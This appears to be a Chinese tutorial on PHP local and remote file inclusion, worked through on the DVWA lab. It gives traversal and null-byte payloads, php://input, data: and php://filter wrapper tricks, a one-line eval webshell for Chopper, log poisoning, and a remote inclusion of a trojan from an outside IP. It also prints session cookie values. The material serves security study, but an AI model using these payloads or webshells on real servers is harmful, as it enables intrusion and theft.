文件包含漏洞

原理

在通过PHP的相应函数(比如include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预料之外的文件,就可能导致以外的文件泄露甚至恶意代码注入

本地文件包含(LFI)

Local File Inclusion
能够读取或执行包含本地文件的漏洞
eg:

1
2
3
4
5
6
<?php 
$file = $_GET['file'];
if(file_exists('/home/wwwrun/'.$file.'.php')) {
include '/home/wwwrun/'.$file.'.php';
}
?>

linux系统越权读取(需要读权限)

1
include '/home/wwwrun/../../../../../../etc/passwd\0.php

远程文件包含(RFI)

Remote File Inclusion
例如若php.ini的配置选项allow_url_includeON的话,文件包含函数是可以加载远程文件的。利用远程文件包含漏洞,可以直接执行任意命令


漏洞形成条件

  • include()等函数通过动态变量的方式引入需要包含的文件
  • 用户能够控制这个动态变量

高危触发点

常见

  • include()
  • require()
  • include_once()
  • require_once()
  • 对文件进行操作的其它函数,如f_open(),f_read()

危害

  • 敏感信息泄露
  • 获取Webshell
  • 任意命令执行

文件包含进阶

一般截断包含

1
2
3
4
5
6
7
<?php 
if(isset($_GET['page'])) {
include $_GET['page'].".php";
}else {
include 'home.php';
}
?>

此方法只适用于magic_quotes_gpc=off时,在PHP的老版本中也时存在着一些其它的截断问题,如今已极少见
eg:

1
index.php?file=info.txt///////////..(超过一定数据的/)..//


00截断包含

php < 5.3.4时,可以使用

  • %00.截断
  • Windows文件长度 <= 255 截断
  • Linux下文件名长度 <= 1024Bytes 截断
  • 远程文件包含时,使用?截断,全版本通杀

伪协议

POST型

构造一个输入值为如下的漏洞验证语句并POST,并用php://协议去解释它

1
2
php://input
POST: <?php phpinfo();?>

菜刀连接:
http://127.0.0.1/dvwa-master/vulnerabilities/fi/?page=//input
菜刀配置:

1
<O><?php @eval($_POST['a']);?></O>

GET型

构造一个内容为:<?php%20phpinfo();?>
类型为:data:text/plain
的数据,并包含它

1
2
data:text/plain,<?php%20phpinfo();?>
data:text/html,<?php%20phpinfo();?>


封装协议摘要

这里主要针对php://filter,参考被筛选的封装器
参考链接

常用:

  • 使用rot13编码读取文件内容(回转13位,rotate by 13 places,替换为原字符的后13位所表示的字符)

    1
    php://filter/read=string.rot13/resource=文件名
  • 使用base64编码读取文件内容

    1
    php://filter/read=convert.base64-encode/resource=文件名
  • 使用touppertolower编码读取文件
    php://filter/read=string.toupper/resource=
    php://filter/read=string.tolower/resource=

这里编码的意义是进行绕过,绕过<?php结构等,例如php5.x会针对<?php进行过滤,因此又有如下绕过方法:

1
2
GIF89a
<script language="php">eval($_POST['a']);</script>


直接指定路径

1
file://

压缩包,用如下方法:

1
2
3
4
5
zip://绝对路径%23文件名
zip://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip%23phpinfo.txt

phar://相对路径(或绝对路径)%23文件名
phar://phpinfo.zip/phpinfo.txt

其它情形

情形:

  • 存在文件包含漏洞
  • Apache是默认配置
  • 只允许包含本地文件
  • 没有上传接口
  • 本地自身没有木马

提问:
怎么构造文件包木马

方案之一:
修改referrer中的日志,即进行访问,后台自动记录(只要能写入日志并访问即可)
注意日志打包时间(通常在凌晨),日志中若存在尖括号则会报语法错误,最好在打完包的新日志中进行操作


##补充

菜刀远程包含应用

实例:
远程木马包含
http://127.0.0.1/dvwa-master/vulnerabilities/fi/?page=http://144.172.116.200/test.jpg
使用一句话木马连菜刀
需加cookie:
浏览器控制台获取coockie
console.log(document.cookie)
security=low; hd_auth=9e89J6bNsPGJSDjq9t7IcVyR5d5gs3TBAHAx1mka%2BYX3vezWSFyMKG1izkauDUNgZiss3LfAUyGSw2ZS9jhY; PHPSESSID=416e68aaff8e7a3d55d04b745ac6785c

c刀设置中添加cookie

DVWA文件包含

中级

双写绕过

高级

1
file/../

注:file不存在亦可

您的支持是我前进的动力!